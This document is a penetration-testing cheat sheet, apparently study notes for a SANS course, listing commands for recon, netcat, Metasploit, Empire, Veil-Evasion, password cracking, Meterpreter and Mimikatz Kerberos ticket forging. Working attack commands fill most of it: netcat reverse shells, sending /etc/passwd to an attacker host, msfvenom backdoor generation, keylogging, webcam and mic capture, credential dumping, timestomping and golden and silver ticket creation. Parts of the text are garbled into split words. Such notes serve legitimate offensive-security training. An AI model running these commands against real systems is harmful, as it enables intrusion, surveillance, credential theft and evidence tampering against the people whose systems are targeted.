

### General Recon

`fping -g` Ping sweep  
`x.x.x.0`  
`x.x.x.254 -a`

### Linux traceroute Options

`-4` Forces IPv4  
`-6` Forces IPv6, same as `traceroute6` command  
`-I` Uses ICMP echo  
`-T` Uses TCP SYN  
`-f <first hop>` Starts from the hop specified instead of 1  
`-g <gateway>` Routes packets through the gateway specified instead of the default  
`-m <max hops>` Specifies the maximum number of hops; default is 30  
`-n` Specifies not to resolve IP address to hostnames  
`-w <wait>` Specifies the wait time, which can be in seconds or relative to the reply time between hops  
`-p <port>` Specifies the port

### DNS Query

#### nslookup

`nslookup -norecurse -` DNS Snooping | nonrecursive query  
`type=A google.com DNS_SERVER_IP`  
`server [server IP address or name]` use specific server  
`set type=any` set DNS record type  
`ls -d [target domain]` Perform a zone transfer of all records for a given domain

### DNS Query (cont)

`ls -d [target domain] [> filename]` Store zone transfer output in a file  
`view [filename]` view file  
`dig`  
`dig @[name server] [domain name] [record type]` dig command syntax  
`dig +noconnectments @192.168.1.50 lab.local -t AXFR` test if allows anonymous zone transfers  
`set norecurse` no recursive query, RD=0

### Netcat

#### Flags

`-l` Listen mode (default is client)  
`-L` Listen harder (Windows only) — Make a persistent listener  
`-u` UDP mode (default is TCP)  
`-p` Local port (In listen mode, this is port listened connections on. In client mode, this is source port for packets sent.)  
`-e` Program to execute after connection occurs  
`<filename>`  
`-n` Don't resolve names  
`-z` Zero—I/O mode: Don't send any data, just emit packets  
`-w [N]` Timeout for connects, waits for N seconds  
`-v` Be verbose, printing when a connection is made



### Netcat (cont)

<code>nc -e</code>	executes a command upon connection
<code>-vv</code>	Be verbose, printing when connections are made, dropped, and so on

### General

<code>nc -l -vnp XX</code>	Server listen, verbosity, noDNS, on port XX
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### SHELLS

<code>nc IP PORT -e /bin/bash</code>	Client reverse shell
<code>rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f   /bin/sh -i 2&gt;&amp;1   nc \$RHOST \$RPORT &gt;/tmp/f</code>	netcat -e alternative example

### On target:

<code>mkncod backpipe p</code>	
<code>nc --l -p [allowed_inbound_port] 0 &lt; backpipe   nc 127.0.0.1 22 1 &gt; backpipe</code>	

### Attackers machine to connect:

<code>ssh login_name@[target machine] -p [allowed_inbound_port]</code>	
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A really good explanation for this is on 560.3 book, P 152

### Send Files

<code>nc -l -p 8080 &gt; filename</code>	setup listener and output file
<code>nc -w 3 attackerIP 8080 &lt; /etc/passwd</code>	sends file to netcat listener with 3 secs timeout

### Scan ports

<code>nc -v -n IP port</code>	test 1 port
<code>nc -v -w 2 -z IP_Address port_range</code>	port range
<code>echo " "   nc -v -n -w1 [targetIP] [port-range]</code>	a port scanner that harvests banners

### Other Uses

### Netcat (cont)

<code>while (true); do nc -vv -z -w3 [target IP] [target port] &gt; /dev/null &amp;&amp; echo -e "\x07"; sleep 1; done</code>	Service-is-alive heartbeat
<code>while `nc -vv -z -w3 [target IP] [target port] &gt; /dev/null` ; do echo " - Service is ok"; sleep 1; done; echo " - Service is dead"; echo -e "\x07"</code>	Service-Is-Dead Notification

### alternative

<code>nc -n -v -l -p 2222 &lt; /tmp/winauth.pcap</code>	Setup listener that will send the file
<code>nc.exe -n -v -w3 [YourLocalIP addr] 2222 &gt;C:\folder\winauth.pcap</code>	Client to capture and save the file

### TCPDUMP | Monitoring

#### General

<code>tcpdump -nnv -i eth0</code>	start capturing traffic
<code>-n</code>	Use numbers instead of names for machines
<code>-nn</code>	Use numbers for machines and ports
<code>-i</code>	Sniff on a particular interface (—D lists interfaces)
<code>-v</code>	Be verbose
<code>-w</code>	Dump packets to a file (use —r to read file later)
<code>-x</code>	Print hex
<code>-X</code>	Print hex and ASCII
<code>-A</code>	Print ASCII
<code>s [snaplen]</code>	Sniff this many bytes from each frame, instead of the default



### TCPDUMP | Monitoring (cont)

#### Protocol:

ether, ip, ip6, arp, rarp, tcp, udp: protocol type

#### Type:

host [host] Only give me packets to or from that host

net [network] Only packets for a given network

port [portnum] Only packets for that port

portrange [start - end] Only packets in that range of ports

#### Direction:

src Only give me packets from that host or port

dst Only give me packets to that host

Use and / or to combine these together

Wrap in parentheses to group elements together

### Hashcat

hashcat -m 1800 -a 0 -o crack Linux SHA512  
found1.txt crack1.hash 500\_pa - password with dict  
ssw ord s.txt

hashcat --force -m 13100 -a 0 Crack Kerberos  
lab3.h ashcat /path/ to/ Dic - Service Ticket for  
t.txt --show account password

### PowerSploit/PowerView

Invoke - Requests service tickets for kerberoast-able  
Kerberoast - accounts and returns extracted ticket hashes  
roast

### Metasploit

#### Create Handler listener

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse\_https OR windows/meterpreter/reverse\_tcp

set lhost AttackerIP

### Metasploit (cont)

set lport 443

exploit -j -z Run in background

#### PS Session with valid creds

use auxiliary/admin/smb/sexec\_command

set smbuser user

set rhost victimIP

set smbpass P4\$\$

set command " ipconfig or any command"

run

#### Create backdoor - recognized by Defender :(

msfvenom -p windows/sHELL/rve\_rse\_tcp LHOST=[AttackerIP] LPORT=8080 -f exe > /tmp/file.exe

msfvenom -p windows/x64/meterpreter/reverse\_https LHOST=AttackerIP LPORT=443 -f exe -o pwned.exe

#### Others

sessions -l get a list of sessions

sessions -i [N] interact (-i) with session number [N]

press CTRL-Z Background session

jobs get background jobs

db\_import /path/to/file - Import scans from nmap  
e/nmap.xml

hosts -m "Windows 10" Add comment to host  
192.168.1.10

services -u -p 135,445 Show UP hosts with Lports  
135,445

sessions -h list help for sessions command

sessions -K kill a session



### Empire

#### set up an Empire HTTP listener

```
usestager window s/l aun che r_bat
```

```
set Listener http
```

```
execute
```

#### General

```
list agents
```

```
interact AGENTID chose an agent
```

```
download C:\Use rs - transfer file from agentPC
\ali ce \Des kto p\s -
ome.txt
```

#### Timestomping

```
upload /tmp upload content from /tmp to
actual session directory
```

```
usemodule manage men - load timestomp module
t/t ime stomp
```

```
set ALL 03/02/2020 5:28 define time to be set in all
pm datetime file properties
```

```
set FilePath bank_l ogi - set target file to be tampered
n_i nfo rma tio n.txt
```

```
execute run module
```

#### Others

```
/opt/E mpi re- mas - Empire Download's location
ter /do wnl oads/
```

```
sell powershell Get-Ch - Run powershell command
ildItem
```

#### General

```
? Get command suggestions
```

```
searchmodule privesc search for modules
```

#### configure a listener

```
listeners getting a list of our listeners
```

```
options options we have for our
listeners
```

### Empire (cont)

```
set StagingKey configure a custom staging key for
[Some_Secret_Value] encrypting communications
```

```
set DefaultDelay 1 time between callbacks from our agent
```

```
execute launch listener
```

```
list check out our listene
```

#### deploy an agent

```
usestager create and deploy an agent | [space][TAB-
TAB] To see available stagers
```

```
usestager 1aun ch- select stager
er_bat
```

```
info get info for actual stager
```

### MSFDB - Metasploit Database

#### Most useful database commands

```
db_connect Connects to a database
[conne -
ct_ -
string]
```

```
db_dis - Disconnects from database
connect
```

```
db_driver Selects the database type
```

```
db_status Displays the status of the database
```

```
db_export Exports database contents into a file, either xml
(with hosts,ports, vulnerabilities, and more) or
pwdump (with pilfered credentials)
```

```
hosts Get list of hosts discovered
```

```
vulns Get list of vulns that were found in scanned hosts
```

```
services Get list of services running in gained hosts
```

```
hosts -- manually add hosts
```

```
add [host]
```



### MSFDB - Metasploit Database (cont)

`services --add -p [port] -r [proto] -s [name] [host1 ,host2 ,...]` manually add services running in hosts

`notes --add -t [type] -n '[note_text]' [host1 ,host2 ,...]` manually add notes to a host

If you delete a host, any services and vulns corresponding to that `host_id` will also disappear

`db_nmap --st 10.10.1.0.10 --pack et- trace` invoke Nmap directly from the msfconsole

`db_import [filename]` import data | automatically recognizes the file type like Nmap xml, Amap, Nexpose, Qualys, Nessus

`hosts -S linux` searching for any hosts associated with linux, -S works for other items (vulns) as well

`hosts -S linux -R` set result as RHOTS variable value

`vulns -p 445` Look for vulnerabilities based on port number

### Veil-Evasion

#### Start Veil-Evasion

`cd /opt/Veil -Ev asion || /usr/s har e/veil`

`./Veil -Ev asion .py`

#### General

`list` get a list of all the different payloads that the tool can generate

`info powers hel l/m - ete rpr ete r/r ev_ - https` get more information about any of the payloads

### Veil-Evasion (cont)

`clean` Clean out any leftover cruft from previous use of Veil-Evasion,

#### Generate payload

`use info` select the payload you want to generate

`powers hel - l/m ete rpr - ete r/r ev_ - https`

`options` list options for actual item

`generate` create the payload file

#### Generated files

`.bat` This is the payload itself

`.rc` This is the Metasploit configuration file (also known as a handler file) for a multi/handler waiting for a connection from our payload.

`exit` exit Veil-Evasion

`/usr/s har -` Veil-Evasion output directory

`e/v eil -ou - tpu t/s ource`

### traceroute

#### Options

`-f [N]` Set the initial TTL for the first packet

`-g [hostlist]` Specify a loose source route (8 maximum hops)

`-I` Use ICMP Echo Request instead of UDP

`-T` Use TCP SYN instead of UDP (very useful!),with default dest port 80

`-m [N]` Set the maximum number of hops

`-n` Print numbers instead of names

`-p [port]` port

For UDP, set the base destination UDP port and increment



### traceroute (cont)

For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing)

- w [N] Wait for N seconds before giving up and writing \* (default is 5)
- 4 Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)
- 6 Force use of IPv6

### John the Ripper

#### General

- john.pot file cracked password store
- john.rec file stores john's current status
- john --restore picks up Where it left off based on the contents of the john.rec file
- john --test Check Speed Of SyStem
- john hash.txt run john against hash.txt file
- john --show [password - \_file] compare which passwords John has already cracked from a given password file against itsjohn.pot file

#### Cracking LANMAN Hashes

- john /tmp/s - am.txt By default, John will focus on the LANMAN hashes.

#### Cracking Linux Passwords

- cp /etc/passwd - /tmp/passwd\_copy copy passwd file to your working directory
- cp /etc/shadow - /tmp/shadow\_copy copy shadow file to your working directory

### John the Ripper (cont)

- ./unshadow passwd \_copy shadow \_copy > combined.txt Use the unshadow script to combine account info from /etc/passwdwith password information from /etc/shadow
- john combined.txt Run John against the combined file
- cat ~/.john/john.pot Look at the Results in john.pot file

### pw-inspector (Password Inspector)

- i input file
- o output file
- m [n] the minimum number of characters to use for a password is n
- M [N] Remove all words longer than N characters
- c [count] how many password criteria a given word must meet to be included in the list.
- l The password must contain at least one lowercase character.
- u The Password must contain at least one uppercase character. (To specify a mixed case requirement, configure -c 2 -l -u.)
- n The password must contain at least one number
- p the password must contain at least one printable character that is neither alphabetic nor numeric, whichincludes !@#%&\*().
- s The password must include characters not included in the other lists (such as nonprintable ASCII characters)



### Meterpreter

#### Basic commands

? / help	Display a help menu
exit / quit	Quit the Meterpreter
sysinfo	Show name, OS type
shutdown / reboot	Self-explanatory
reg	read or write to the Registry

#### File System Commands

cd	Navigate directory structure
lcd	Change local directories on attacker machine
pwd / getwd	Show the current working directory
ls	List the directory contents, even 4 Windows
cat	Display a file's contents
download / upload	Move a file to or from the machine
mkdir / rmdir	Make or remove directories
edit	Edit a file using default editor

#### Process Commands 560.3 Page 92

getpid	Returns the process ID that Meterpreter is running in
getuid	Returns the user ID that the Meterpreter is running with
ps    ps -S	Process list
notepad.exe	
kill	Terminate a process
execute -f cmd.exe -c -H	Runs a given program channelized (-c) and hide process window (-H)
migrate [destination_process_id]	Jumps to a given destination process ID:

### Meterpreter (cont)

\*Target process must have the same or lesser privileges

\*May be a more stable process

\*When inside the process, can access any files that it has a lock on

#### Network Commands

ipconfig	show network config
route	Displays routing table, adds/deletes routes
portfwd add -l 1111 -p 22 -r Target2	SANS 560.3 Exploitation Page 67 for better understanding

#### On-target Machine commands

screenshot -p [file.jpg]	SC
idletime	Show how long the user at the console has been idle
uictl [enable/disable] [keyboard/mouse]	Turn on or off user input devices

#### Webcam and Mic Commands

webcam __list	Lists installed webcams
webcam __snap	Snaps a single frame from the webcam as a JPEG: -Can specify JPEG image quality from 1 to 100, with a default of 50
record_mic	Records audio for N seconds (-d N) and stores in a wav file in the Metasploit .msf4 directory by default

Make sure you get written permission before activating either feature

#### Keystroke Logger

# C

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### Meterpreter (cont)

`keysca n_start` poll every 30 milliseconds for keystrokes entered into the system

`keysca n_dump` flushes 1 Megabyte of buffer keystrokes captured to attacker's Meterpreter Screen

`keysca n_stop` tells the Meterpreter to stop gathering all keystrokes

### Pivoting Using Metasploit's Route Command

`use [exploit1]`

`set RHOST [victim1]`

`set PAYLOAD window s/m ete rpr ete r/r eve rse_tcp`

`exploit`

`CTRL-Z` background session... **will display meterpreter sid**

`route add [victim2_subnet] [netmask] [Sid]` direct any of its packets for a given target machine or subnet through that Meterpreter session

`use [exploit2]`

`set RHOST [victim2]`

`set PAYLOAD [payloadZ]`

`exploit`

Do not confuse the Metasploit (msf) route command with the Meterpreter route command. The latter is used to manage the routing tables on a target box that has been compromised using the Meterpreter payload. The msf route command is used to direct all traffic for a given target subnet from the attacker's Metasploit machine through a given Meterpreter session on a compromised victim machine to another potential Victim.

### Additional Modules

`use [module name]` load additional modules

### Others

### Meterpreter (cont)

`run sctas ksabuse -c "[command]..." -t [targetIP]` script that automates Win-sc-htasks task creation

Uses Meterpreter's process credentials (add -u and -p for other credentials)

`load kiwi` load the mimikatz Kiwi Meterpreter extension on the target machine

`creds_all` grab credentials

### GPG

`gpg -d -o <OutputFilename> <EncryptedFile>` decrypt a file

### OVER-PASS-THE-HASH

1. Perform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
2. Perform TGS-REQ to KDC to get TGS
3. Use TGS to impersonate passw hash owner and use a service

### Golden Ticket ATTACK

#### Requirements

- KDC LT key (e.g. KRBTGT NTLM hash)
- Domain admin account name
- Domain name
- SID of domain admin account

#### Commands

`.\mimikatz kerberos :golden /admin :ADMINACCOUNTNAME /domain:DOMAIN /id:ACQUANTRID /sid:DOMAINSID /krbtgt:KRBtgt:KRBtgt:GTPASSWORDHASH`

`.\mimikatz kerberos :ptt file.txt` create a golden ticket from file with PTT

`kerberos :tgt` Get current session ticket details

`kerberos :list /export` Export ticket to a .kirbi file

`kerberos :ptt file.kirbi` Load / pass the ticket





### Silver Ticket ATTACK

#### Requirements

- /target target server's FQDN.
- /service SPN
- /rc4 NTLM hash for the service (computer account or user account)

#### Steps

```
whoami get domain/SID
invoke -Kerberos -u user -h 'hash' -i ip -s spn get SPN and Service user password hash for cracking
Mimikatz "privilege::debug" get Service password hash w/Mimikatz (if you have access to server hosting Vuln service)
"sekurlsa::logonpasswords"
exit
```

```
hashcat "" $krb5tgt $6$a cct - Get unencrypted service password w/hashcat (If we didn't get NTLM hash) and hash it to NTLM
$svc/HOST:port$XXX.X.XX"
dicti.txt hashcat -m 13100 hash.txt dicti.txt
```

```
Import -Module DSInternals $pwd = Hash cleartext password to NTLM
Convert-SecureString 'P@$$w0rd' -AsPlainText -Force
Convert-NTHash $pwd
```

```
mimikatz "kerberos::golden /admin:ImAdmin /id:1106 /domain:lab.local /sid:S-1-5-21-XXXXX /target:E:\XCHANG -E:\local /rc4:NTLMHash /service:ServiceSPN /ptt" exit
```

### Silver Ticket ATTACK (cont)

```
misc::cmd ; klist ; use a command to connect to that specific service for example: Find-IntegrityFile -Path \\FileServer1.domain.com\$\$ -ares\ Auth to local SVC w/creds and TGS | ej: mimikatz
```

#### Trolling

##### Faking RIDs

```
1106 is "Anakin" /id:1159
1159 is "Vader" /user:-Anakin
```

Result: User: Anakin | Real Context User: Vader

```
/groups:512,513,518,519 /id:9999 /user:yourmom lulz
```

#### Mimikatz

##### Command Reference for tickets attacks

```
/domain domain's fqdn
```

```
/sid SID of the Domain
```

```
/user username to impersonate
```

```
/admin
```

```
/groups group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator's groups
```

```
/ticket provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.
```

```
/ptt as an alternate to /ticket - use this to immediately inject the forged ticket into memory for use.
```



### Mimikatz (cont)

`/id` (optional) user RID. Mimikatz default is 500 (the default Admin account RID).

`/start - offset` (optional) the start offset when the ticket is available (generally set to -10 or 0 if this option is used). Mimikatz Default value is 0.

`/endin` (optional) ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).

`/renewmax` (optional) maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

### Scapy (Packet crafting)

GPN AIO Book - Lab 3-4: Scapy Introductory

`scapy` (as root) starts library

`help(function)` Get help for specific function

`p = IP()/TCP()/"F oo"` define blank packet

`ls(p)` show packet info

`p.show()` show packet info

`summary` show packet info

`ls(p[Raw])` view just the data

`p[IP].src = "ip address"` set src address

`p[IP].dst = "ip address"` set dst address

`p[TCP].sport = "xx "` set src port

`p[TCP].dport = "xx "` set dst port

`p=IP/TCP/DATA` packet structure

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### Metadata Analysis

`./exiftool t/images/ExifTool.jpg` execute exiftool against the ExifTool.jpg

`strings -n 8 file.txt` shows strings only eight characters long

### Recon-ng comands for whois\_pocs

`recon-ng`

`market place install all ; exit`

`workspaces create demo`

`modules load recon/domain-scanner/whois_pocs`

`options set SOURCE example.com`

`run`

`show contacts`

### Cron

`crontab -l` list job entries

`crontab -e` edit job entries



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